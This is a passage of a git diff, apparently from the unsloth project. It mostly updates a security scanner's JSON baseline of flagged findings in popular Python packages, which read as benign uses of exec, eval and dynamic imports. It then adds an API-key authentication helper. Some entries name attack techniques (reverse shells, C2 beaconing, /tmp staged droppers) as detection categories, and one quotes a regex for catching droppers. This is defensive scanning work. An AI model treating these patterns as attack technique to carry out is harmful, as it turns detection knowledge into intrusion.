suspicious behavior", + "severity": "HIGH", + "evidence": "Anti: L2788: original_trace = sys.gettrace() | L2790: sys.settrace(None) | L2793: sys.settrace(original_trace)\nSubprocess: L1486: output = subprocess.run(cmd, capture_output=True, text=True) | L2889: res = subprocess.run(cmd, cwd=cwd, capture_output=True, text=True,\nL2890: errors=\"replace\", **kwargs)\nExec: L1352: exec(astr, dict) | L1640: exec(code, globs, locs)", + "evidence_hash": "9c6961817e5b1751e572dfe0858286703bb835870ecdfd6a7a9fdd8372a5dd2b" }, { "package": "numpy", "file": "numpy/tests/test_public_api.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L543: core_submodule = __import__(\nExec: L405: eval(module_name)" + "evidence": "Obfusc: L543: core_submodule = __import__(\nL544: f\"numpy.core.{submodule_name}\",\nL545: fromlist=[submodule_member_name]\nL546: )\nExec: L405: eval(module_name)", + "evidence_hash": "084667d5d7ec9e186eea25abc9026122f15c39ec1ec734dbd5d8d801af99af1d" }, { "package": "pillow", "file": "PIL/Image.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L422: __import__(f\"{__spec__.parent}.{plugin}\", globals(), locals(), []) | L490: __import__(f\"{__spec__.parent}.{plugin}\", globals(), locals(), [])\nExec: L3772: def eval(image: Image, *args: Callable[[int], float]) -> Image:" + "evidence": "Obfusc: L422: __import__(f\"{__spec__.parent}.{plugin}\", globals(), locals(), []) | L490: __import__(f\"{__spec__.parent}.{plugin}\", globals(), locals(), [])\nExec: L3772: def eval(image: Image, *args: Callable[[int], float]) -> Image:", + "evidence_hash": "c2c1e7ae44e15862caf8de549d09db7b35e93282450f07ef61aaf5450a408c13" }, { "package": "protobuf", "file": "protobuf-3.19.6-nspkg.pth", "check": "Unusually large executable .pth (539 bytes)", "severity": "HIGH", - "evidence": "1 import line(s) in 539-byte .pth file" + "evidence": "1 import line(s) in 539-byte .pth file sha256:c47e604f1738522a583f7aab6cffb80821cd18157dede051e10aa185e0af065e", + "evidence_hash": "26acfc4bd3ab7973d7195e470afc660c89d34c8e0d32d3d8f15941db3e4acb8e" }, { "package": "pygments", "file": "pygments/formatters/__init__.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L38: mod = __import__(module_name, None, None, ['__all__'])\nExec: L103: exec(f.read(), custom_namespace)" + "evidence": "Obfusc: L38: mod = __import__(module_name, None, None, ['__all__'])\nExec: L103: exec(f.read(), custom_namespace)", + "evidence_hash": "8af02b2b951bb656fab606867ffab838490363a604f4773d08c1f40623678bd0" }, { "package": "pygments", "file": "pygments/lexers/__init__.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L45: mod = __import__(module_name, None, None, ['__all__'])\nExec: L154: exec(f.read(), custom_namespace)" + "evidence": "Obfusc: L45: mod = __import__(module_name, None, None, ['__all__'])\nExec: L154: exec(f.read(), custom_namespace)", + "evidence_hash": "8af02b2b951bb656fab606867ffab838490363a604f4773d08c1f40623678bd0" }, { "package": "scikit-learn", "file": "sklearn/externals/array_api_compat/torch/__init__.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L19: __import__(__package__ + '.linalg') | L20: __import__(__package__ + '.fft')\nExec: L12: exec(f\"{n} = torch.{n}\")" + "evidence": "Obfusc: L19: __import__(__package__ + '.linalg') | L20: __import__(__package__ + '.fft')\nExec: L12: exec(f\"{n} = torch.{n}\")", + "evidence_hash": "3167e0f828bc28964e5054786712d029e967fb8cacb40717978b7acafc68c1ea" }, { "package": "scipy", "file": "scipy/optimize/_optimize.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L4155: __import__(mod_name)\nExec: L323: def eval(x):" + "evidence": "Obfusc: L4155: __import__(mod_name)\nExec: L323: def eval(x):", + "evidence_hash": "7935cfbe0634201c1ad7626bc38ae17c52cca968bbcfacea236f05c9576dcabd" }, { "package": "setuptools", "file": "pkg_resources/__init__.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L423: __import__(moduleOrReq) | L1739: code = compile(source, script_filename, 'exec') | L1750: script_code = compile(script_text, script_filename, 'exec')\nExec: L1740: exec(code, namespace, namespace) | L1751: exec(script_code, nam" + "evidence": "Obfusc: L423: __import__(moduleOrReq) | L1739: code = compile(source, script_filename, 'exec') | L1750: script_code = compile(script_text, script_filename, 'exec') | L2562: __import__(parent) | L2785: module = __import__(self.module_name, fromlist=['__name__'], level=0)\nExec: L1740: exec(code, namespace, namespace) | L1751: exec(script_code, namespace, namespace)", + "evidence_hash": "ae52cd10e8d27abe5539a1e1abc11635cef6c2a68aba98579385d8d55271fcd4" }, { "package": "setuptools", "file": "setuptools/_distutils/compilers/C/base.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L1286: __import__(module_name)\nExec: L1113: if lib_type not in eval(expected):" + "evidence": "Obfusc: L1286: __import__(module_name)\nExec: L1113: if lib_type not in eval(expected):", + "evidence_hash": "368651e9818ed2d1bb009027d3bcfbf94ae30639c0882a6c2bddde97b8c4f1e5" }, { "package": "setuptools", "file": "setuptools/launch.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L31: code = compile(norm_script, script_name, 'exec')\nExec: L32: exec(code, namespace)" + "evidence": "Obfusc: L31: code = compile(norm_script, script_name, 'exec')\nExec: L32: exec(code, namespace)", + "evidence_hash": "eae05adb1b163466a753f16be119072581011fa2a9f1cbd80d2e69ea3c7d20d9" }, { "package": "setuptools", "file": "setuptools/tests/config/test_pyprojecttoml.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L364: \"setup.py\": \"__import__('setuptools').setup(include_package_data=False)\",\nExec: L98: \"__main__.py\": \"def exec(): print('hello')\"," + "evidence": "Obfusc: L364: \"setup.py\": \"__import__('setuptools').setup(include_package_data=False)\",\nExec: L98: \"__main__.py\": \"def exec(): print('hello')\",", + "evidence_hash": "067d41014f72a61d8b4adf25f3659d1f66a0e909f732223f48837aa7684df4e6" }, { "package": "setuptools", "file": "setuptools/tests/test_editable_install.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L120: SETUP_SCRIPT_STUB = \"__import__('setuptools').setup()\"\nExec: L449: exec(finder, loc, loc)" + "evidence": "Obfusc: L120: SETUP_SCRIPT_STUB = \"__import__('setuptools').setup()\"\nExec: L449: exec(finder, loc, loc)", + "evidence_hash": "a78d7f5af7eb4ba92656cda258c195b92f6337c585c97d0823e47a9d4a2eb15d" }, { "package": "setuptools", "file": "setuptools/wheel.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L35: NAMESPACE_PACKAGE_INIT = \"__import__('pkg_resources').declare_namespace(__name__)\\n\"\nExec: L191: def eval(req, **env): | L212: (req for req in reqs if for_extra(req) and eval(req, extra=extra))," + "evidence": "Obfusc: L35: NAMESPACE_PACKAGE_INIT = \"__import__('pkg_resources').declare_namespace(__name__)\\n\"\nExec: L191: def eval(req, **env): | L212: (req for req in reqs if for_extra(req) and eval(req, extra=extra)),", + "evidence_hash": "9c22b176a4660dcc5d3d16a78b1994e600707a6ee78eb413757e677dc3d903ce" }, { "package": "six", "file": "six.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L87: __import__(name)\nExec: L740: exec(\"\"\"exec _code_ in _globs_, _locs_\"\"\")" + "evidence": "Obfusc: L87: __import__(name)\nExec: L740: exec(\"\"\"exec _code_ in _globs_, _locs_\"\"\")", + "evidence_hash": "3cb7d8247dea7dd3d7b21ededc0181c58c50099aeb73c9138a286f3d1ad92d4f" }, { "package": "sympy", "file": "sympy/external/importtools.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L145: mod = __import__(module, **import_kwargs) | L154: __import__(module + '.' + submod)\nExec: L21: return eval(debug_str)" + "evidence": "Obfusc: L145: mod = __import__(module, **import_kwargs) | L154: __import__(module + '.' + submod)\nExec: L21: return eval(debug_str)", + "evidence_hash": "bae3d873046013ecbe4fb6b4dd707d55593bc85436779063a4792c817323f7ce" }, { "package": "sympy", "file": "sympy/plotting/experimental_lambdify.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L249: namespace.update({'math': __import__('math')}) | L251: namespace.update({'cmath': __import__('cmath')}) | L254: namespace.update({'np': __import__('numpy')})\nExec: L268: exec(\"MYNEWLAMBDA = %s\" % eval_str, namespace)" + "evidence": "Obfusc: L249: namespace.update({'math': __import__('math')}) | L251: namespace.update({'cmath': __import__('cmath')}) | L254: namespace.update({'np': __import__('numpy')}) | L259: namespace.update({'imath': __import__(\nL260: 'sympy.plotting.intervalmath', fromlist=['intervalmath'])}) | L261: namespace.update({'math': __import__('math')})\nExec: L268: exec(\"MYNEWLAMBDA = %s\" % eval_str, namespace)", + "evidence_hash": "a2cf99a96863e82c132ede769f9277f642f283c70e9db637b0a9b949186343cf" }, { "package": "sympy", "file": "sympy/utilities/lambdify.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L919: c = compile(funcstr, filename, 'exec')\nExec: L163: module = eval(import_command) | L170: exec(import_command, {}, namespace) | L903: exec(ln, {}, namespace)" - }, - { - "package": "tensorboard", - "file": "tensorboard/plugins/projector/tf_projector_plugin/projector_binary.js", - "check": "Python wheel ships large JS bundle (uncommon; manually review)", - "severity": "HIGH", - "evidence": "" + "evidence": "Obfusc: L919: c = compile(funcstr, filename, 'exec')\nExec: L163: module = eval(import_command) | L170: exec(import_command, {}, namespace) | L903: exec(ln, {}, namespace) | L909: exec(ln, {}, namespace) | L920: exec(c, namespace, funclocals)", + "evidence_hash": "ab4f5819576a70038301668b8f3e4a781c4b757b146117d5d93eab1896a5a6cd" }, { "package": "torch", "file": "torch/_dynamo/bytecode_debugger.py", "check": "Anti-analysis/sandbox evasion + suspicious behavior", "severity": "HIGH", - "evidence": "Anti: L1048: self._old_trace = sys.gettrace() | L1049: sys.settrace(self._settrace_callback) | L1106: sys.settrace(self._old_trace)" + "evidence": "Anti: L1048: self._old_trace = sys.gettrace() | L1049: sys.settrace(self._settrace_callback) | L1106: sys.settrace(self._old_trace)\nExec: L683: result = eval(arg, frame_globals, eval_locals) | L708: result = eval(cmd, frame_globals, eval_locals) | L716: exec(cmd, frame_globals, eval_locals)", + "evidence_hash": "dc2afd1769d357c15b69802bd2799fafa059c0b1dcdd4937528fb5b601962f1b" }, { "package": "torch", "file": "torch/_functorch/_aot_autograd/subclass_codegen.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L342: code = compile(source, f\"<{artifact_name}>\", \"exec\")\nExec: L344: exec(code, globals_dict, local_dict)" + "evidence": "Obfusc: L342: code = compile(source, f\"<{artifact_name}>\", \"exec\")\nExec: L344: exec(code, globals_dict, local_dict)", + "evidence_hash": "b3c8fac5f30b611618085c8fa146ab48c9e00defba83aa4df2e3a570db00bf67" }, { "package": "torch", "file": "torch/fx/experimental/rewriter.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L46: code = compile(dest_ast, \"\", \"exec\")\nExec: L49: exec(code, globals_dict)" + "evidence": "Obfusc: L46: code = compile(dest_ast, \"\", \"exec\")\nExec: L49: exec(code, globals_dict)", + "evidence_hash": "76374f96feed416eec390458843621f33524cfb8d93ef0f3eb4cb1b47d0ad748" }, { "package": "torch", "file": "torch/fx/graph_module.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L106: exec(compile(src, key, \"exec\"), globals)\nExec: L106: exec(compile(src, key, \"exec\"), globals)" + "evidence": "Obfusc: L106: exec(compile(src, key, \"exec\"), globals)\nExec: L106: exec(compile(src, key, \"exec\"), globals)", + "evidence_hash": "db35f4d5ce3b1ad6466e6438be3f2a1806e83ca95edb020eb9869e6cc6080a15" }, { "package": "torch", "file": "torch/package/package_importer.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L602: def __import__(self, name, globals=None, locals=None, fromlist=(), level=0):\nExec: L412: exec(code, ns)" + "evidence": "Obfusc: L602: def __import__(self, name, globals=None, locals=None, fromlist=(), level=0):\nExec: L412: exec(code, ns)", + "evidence_hash": "c7c0650f0c74a086d224112f77ee76634b8f47afc047ce27fee8c7fc45560512" }, { "package": "triton", "file": "triton/runtime/interpreter.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L1435: compiled_code = compile(transformed_ast, filename=self.filename, mode='exec')\nExec: L1441: exec(compiled_code, fn_globals, local_namespace)" - }, - { - "package": "unsloth-zoo", - "file": "scripts/scan_packages.py", - "check": "exec/eval with payload hidden in a docstring/string", - "severity": "HIGH", - "evidence": "marshal/compile/obfuscation: L132: r\"|\\bbytearray\\s*\\(\\s*\\[.*?\\]\\s*\\)\" # bytearray([104,101,...]) | L135: r\"|\\bgetattr\\s*\\(\\s*__builtins__\" # getattr(__builtins__, ...)" + "evidence": "Obfusc: L1435: compiled_code = compile(transformed_ast, filename=self.filename, mode='exec')\nExec: L1441: exec(compiled_code, fn_globals, local_namespace)", + "evidence_hash": "ccde8f3fb7193b8004d8042fe1de107f19ab5f540300024ec43f9c0047c2a711" }, { "package": "unsloth-zoo", "file": "tests/test_compiler_dynamic_exec.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L126: code = compile(source, f\"<{entry_point}>\", \"exec\")\nExec: L134: exec(code, sandbox)" + "evidence": "Obfusc: L126: code = compile(source, f\"<{entry_point}>\", \"exec\")\nExec: L134: exec(code, sandbox)", + "evidence_hash": "85af0176d2a3662e7c269f7a397cca8d92eb79eb6d106b3e58a54c7a102cef69" }, { "package": "unsloth-zoo", "file": "tests/test_fused_forward_install.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L268: code = compile(src, fake_path, \"exec\")\nExec: L269: exec(code, namespace)" - }, - { - "package": "unsloth-zoo", - "file": "tests/test_upstream_pinned_symbols_trl_vllm.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L379: mod = __import__(modpath, fromlist=[\"Logprob\"])\nExec: L238: \"unsloth_zoo dispatch via `eval(f'trl.trainer.{trainer_file}.{name}')` breaks\"" - }, - { - "package": "unsloth-zoo", - "file": "unsloth_zoo/compiler.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L1013: _mod = __import__(model_location, fromlist=items) | L4291: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\ | L4292: f\"O^O/ {chr(92)}_/ {c" - }, - { - "package": "unsloth-zoo", - "file": "unsloth_zoo/fused_losses/forward_install.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L274: code = compile(new_src, synthetic_path, \"exec\")\nExec: L275: exec(code, ns)" - }, - { - "package": "unsloth-zoo", - "file": "unsloth_zoo/mlx/loader.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L1739: _mod = __import__(module_name, fromlist=[\"_\"])\nExec: L141: mx.eval(model.parameters()) | L1543: model.eval() | L2126: mx.eval(model.parameters())" - }, - { - "package": "unsloth-zoo", - "file": "unsloth_zoo/patching_utils.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L706: compile(new_source, '', 'exec')\nExec: L221: try: exec(_try_compile_argument) | L226: try: exec(_try_dynamo_argument) | L570: exec(\"from torch._dynamo.compiled_autograd import (\" + \", \".join(x for x in good_" - }, - { - "package": "unsloth-zoo", - "file": "unsloth_zoo/saving_utils.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L3078: module = __import__('transformers', fromlist=[model_class_name])\nExec: L2960: exec(f\"from transformers.modeling_utils import ({', '.join(functions)})\", locals(), globals()) | L3006: exec(save_pretrained, globals(), functions)" + "evidence": "Obfusc: L268: code = compile(src, fake_path, \"exec\")\nExec: L269: exec(code, namespace)", + "evidence_hash": "0bd08f4d68c9f3bf3dd91d3351a4c7a6c44c2f494c70776750e821fbbbad4faa" }, { "package": "unsloth-zoo", "file": "tests/test_mlx_trainer_internals.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L430: assert ppl == pytest.approx(__import__(\"math\").exp(2.5))\nExec: L408: def eval(self):" + "evidence": "Obfusc: L430: assert ppl == pytest.approx(__import__(\"math\").exp(2.5))\nExec: L408: def eval(self):", + "evidence_hash": "c409327ef6420cc0c7224506fcb82b11bbc9838a6f2f97c9c2cfc00a40c4cdbf" + }, + { + "package": "unsloth-zoo", + "file": "tests/test_upstream_pinned_symbols_trl_vllm.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L379: mod = __import__(modpath, fromlist=[\"Logprob\"])\nExec: L238: \"unsloth_zoo dispatch via `eval(f'trl.trainer.{trainer_file}.{name}')` breaks\"", + "evidence_hash": "ffcaf5f1fd295f3d6e9b59d792392e22e3e4a1eb8c494edd82f815d90323ae55" + }, + { + "package": "unsloth-zoo", + "file": "unsloth_zoo/compiler.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L1013: _mod = __import__(model_location, fromlist=items) | L4291: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL4292: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL4293: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL4294: f' \"-____-\" Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L4292: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL4293: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL4294: f' \"-____-\" Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L4291: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL4292: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL4293: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nExec: L612: if eval(_dtype) is not None: | L613: dtype = eval(_dtype) | L955: _modeling_file = eval(model_location) | L1255: f = eval(f\"{model_location}.{module}\") | L1563: exec(f\"def raise_{j}(*args, **kwargs): print('{function}')\", globals(), locals()) | L1564: try: exec(f\"EMPTY_LOGITS.{function} = raise_{j}\", globals(), locals()) | L2699: exec(f\"import {parent}\", locals(), globals()) | L2830: dir(eval(parent)), | L2834: exec(f\"{parent}.{child}.forward = forward\", globals(), locals()) | L2908: module = eval(f\"modeling_file.{module}\") | L2935: inner_class = eval(f\"modeling_file.{inner_class}\") | L3065: exec(f\"from timm.layers.norm_act import {norm}\") | L3073: forward = eval(norm).forward | L3079: exec(f\"timm.layers.norm_act.{norm}.forward = forward\") | L3096: exec(f\"from timm.models._efficientnet_blocks import {block}\") | L3104: forward = eval(block).forward | L3110: exec(f\"timm.models._efficientnet_blocks.{block}.forward = forward\") | L3385: exec(f\"import {model_location}\", globals()) | L3388: modeling_file = eval(model_location) | L3401: exec(\nL3402: \"model_logger.addFilter(HideLoggingMessage('`use_cache`'))\", globals(), locals()\nL3403: ) | L3405: exec(\nL3406: \"model_logger.addFilter(HideLoggingMessage('compile_config'))\",\nL3407: globals(),\nL3408: locals(),\nL3409: ) | L3560: source = eval(f\"modeling_file.{module}\") | L3574: source = eval(f\"modeling_file.{module}\") | L3675: source = eval(f\"modeling_file.{module}\") | L3713: source = eval(f\"{model_location}.{module}\") | L3784: source = eval(f\"{model_location}.{module}\") | L3832: source = eval(f\"{model_location}.{module}\") | L4054: source = eval(f\"{model_location}.{module}\") | L4065: exec(\nL4066: f\"{model_location}.{module}._update_causal_mask = no_update_causal_mask\",\nL4067: globals(),\nL4068: ) | L4131: source = eval(f\"{model_location}.{module}\") | L4172: module_cls = eval(f\"{model_location}.{module}\") | L4209: module_cls = eval(f\"{model_location}.{module}\") | L4276: exec(\nL4277: \"from transformers.trainer import (\" + \", \".join(x for x in good_items) + \")\",\nL4278: globals(),\nL4279: ) | L4341: exec(inner_training_loop, globals()) | L4349: function = eval(f\"{model_location}.{module}\") | L4427: function = eval(f\"{model_location}.{module}\") | L4562: source = eval(f\"{model_location}.torch\") | L4569: function = eval(f\"source.nn.{module}\") | L4628: exec(\nL4629: f\"{model_location}.torch.nn.{module}.forward = forward\",\nL4630: globals(),\nL4631: locals(),\nL4632: ) | L4634: exec(\nL4635: f\"{model_location}.nn.{module}.forward = forward\",\nL4636: globals(),\nL4637: locals(),\nL4638: ) | L4642: exec(\nL4643: f\"combined_module.torch.nn.{module}.forward = forward\",\nL4644: globals(),\nL4645: locals(),\nL4646: ) | L4648: exec(\nL4649: f\"combined_module.nn.{module}.forward = forward\",\nL4650: globals(),\nL4651: locals(),\nL4652: ) | L4669: exec(\nL4670: f\"{model_location}.{module} = combined_module.{module}\",\nL4671: globals(),\nL4672: locals(),\nL4673: ) | L4683: check_dicts = dir(eval(f\"{model_location}\")) | L4685: item = eval(f\"{model_location}.{check}\") | L4695: exec(\nL4696: f\"{model_location}.{check}['{key}'] = combined_module.{replaced_class}\",\nL4697: globals(),\nL4698: locals(),\nL4699: )", + "evidence_hash": "ec1875fd32d00fe885e566ebda75163e46e838ca31020abb57e0991892c2bdf7" + }, + { + "package": "unsloth-zoo", + "file": "unsloth_zoo/fused_losses/forward_install.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L274: code = compile(new_src, synthetic_path, \"exec\")\nExec: L275: exec(code, ns)", + "evidence_hash": "33b0c2ba90758a5ed84578c1d03364cb307f393e9fbb1da370ae06991e0dc7c4" + }, + { + "package": "unsloth-zoo", + "file": "unsloth_zoo/mlx/loader.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L2218: _mod = __import__(module_name, fromlist=[\"_\"])\nExec: L140: mx.eval(model.parameters()) | L176: mx.eval(model.parameters()) | L2022: model.eval() | L2605: mx.eval(model.parameters()) | L2721: mx.eval(module.weight) | L4030: mx.eval(model.parameters()) | L4058: mx.eval(model.parameters()) | L4178: mx.eval(model.parameters())", + "evidence_hash": "9b29dade82912216c8b4808aa293b79749aa80ef1d2be35edd93bec7632810f1" + }, + { + "package": "unsloth-zoo", + "file": "unsloth_zoo/patching_utils.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L706: compile(new_source, '', 'exec')\nExec: L221: try: exec(_try_compile_argument) | L226: try: exec(_try_dynamo_argument) | L570: exec(\"from torch._dynamo.compiled_autograd import (\" + \", \".join(x for x in good_items) + \")\", globals()) | L571: exec(source, globals()) | L596: exec(\"from torch._dynamo.variables.misc import (\" + \", \".join(x for x in good_items) + \")\", globals()) | L597: exec(source, globals()) | L686: exec(f\"from transformers.integrations.bitsandbytes import ({x})\", globals()) | L749: exec(source, globals())", + "evidence_hash": "f4c3d4a58360b4572b174f74d5250b661bb6b9ac942a07cca49cd42c23baf4c2" + }, + { + "package": "unsloth-zoo", + "file": "unsloth_zoo/saving_utils.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L3241: module = __import__('transformers', fromlist=[model_class_name])\nExec: L3123: exec(f\"from transformers.modeling_utils import ({', '.join(functions)})\", locals(), globals()) | L3169: exec(save_pretrained, globals(), functions)", + "evidence_hash": "530b2383acd9fe8330aa65cd0bf86164aaacd47770e7c8d0752195bee36396ec" }, { "package": "werkzeug", "file": "werkzeug/routing/rules.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L836: code = compile(module, \"\", \"exec\")\nExec: L736: exec(code, globs, locs)" + "evidence": "Obfusc: L836: code = compile(module, \"\", \"exec\")\nExec: L736: exec(code, globs, locs)", + "evidence_hash": "5c0992c90f05c772abd94d00784f157de337e1f8567f8b3aee1b15e46c96cd5d" + }, + { + "package": "multiprocess", + "file": "multiprocess/tests/__init__.py", + "check": "Reverse shell / bind shell pattern", + "severity": "CRITICAL", + "evidence": "L3355: os.dup2(conn.fileno(), i) | L3387: \"test needs os.dup2()\") | L3405: os.dup2(fd, newfd) | L19: import socket sha256:26a745abdc7e89da28ab943394234d8ccb415e805477c3cc1f7d4766341a4c4c", + "evidence_hash": "a6b9bb85e9bb6682ab0dea4f95fd9266e8802f118c76d86dd87f7ab5864872cf" + }, + { + "package": "unsloth-zoo", + "file": "scripts/scan_packages.py", + "check": "Writes to /tmp and executes (staged dropper)", + "severity": "CRITICAL", + "evidence": "L308: r\"/tmp/\\S+.*(?:subprocess|os\\.system|os\\.popen|Popen|chmod.*\\+x)\", | L308: r\"/tmp/\\S+.*(?:subprocess|os\\.system|os\\.popen|Popen|chmod.*\\+x)\", sha256:78268349021e21bedcd2eaaa5b4a71b0de1d52e023ada914dfdc09515ee1aad8", + "evidence_hash": "590fe1c96c442fbea5eb8642650257bc0b0199e919b9bacdb11dfa767b6fe839" + }, + { + "package": "multiprocess", + "file": "multiprocess/tests/__init__.py", + "check": "Reverse shell / bind shell pattern", + "severity": "CRITICAL", + "evidence": "L3521: os.dup2(conn.fileno(), i) | L3553: \"test needs os.dup2()\") | L3571: os.dup2(fd, newfd) | L20: import socket sha256:07d2933301c0dbeeb6e42381687827d8dd7cfd7471986c559ca64283d5ae6e24", + "evidence_hash": "db1f4ca69865ec3911d7450fe11d212b817139deda21cd7a4ee32d547a8dc452" + }, + { + "package": "fastapi", + "file": "fastapi/routing.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L586: while True: sha256:bef9ea429314fad39e063895a37dc5cfe9b04561f3d1acbb3c99abb4e92e6cfe", + "evidence_hash": "b15773e1bc249713156a349278ea60f7c0e3dd7d537affe929ab51089e1942bb" + }, + { + "package": "tensorboard", + "file": "tensorboard/plugins/projector/tf_projector_plugin/projector_binary.js", + "check": "Python wheel ships large JS bundle (uncommon; manually review)", + "severity": "HIGH", + "evidence": "sha256: 53c38430766be25dc672a30846ac3b9eba86aee35eb0746785ec012647c7d9a2", + "evidence_hash": "2c6384e8115a6d5dacf1f84d8f724832d8dc59feb442bb98ffae0857c0ccb381" } ] } diff --git a/studio/backend/auth/authentication.py b/studio/backend/auth/authentication.py index 9dd56489eb..b13cd1c851 100644 --- a/studio/backend/auth/authentication.py +++ b/studio/backend/auth/authentication.py @@ -143,6 +143,17 @@ async def get_current_subject(credentials: HTTPAuthorizationCredentials = Depend ) +async def authenticated_via_api_key( + credentials: HTTPAuthorizationCredentials = Depends(security), +) -> bool: + """True when the caller used an sk-unsloth API key, not a UI session JWT. + + Lets routes treat programmatic API callers differently from the Studio UI + (e.g. refuse a teardown the UI would allow). + """ + return bool(credentials and credentials.credentials.startswith(API_KEY_PREFIX)) + + async def get_current_subject_allow_password_change( credentials: HTTPAuthorizationCredentials = Depends(security), ) -> str: diff --git a/studio/backend/core/export/export.py b/studio/backend/core/export/export.py index d0461dae95..c8be50b08b 100644 --- a/studio/backend/core/export/export.py +++ b/studio/backend/core/export/export.py @@ -13,7 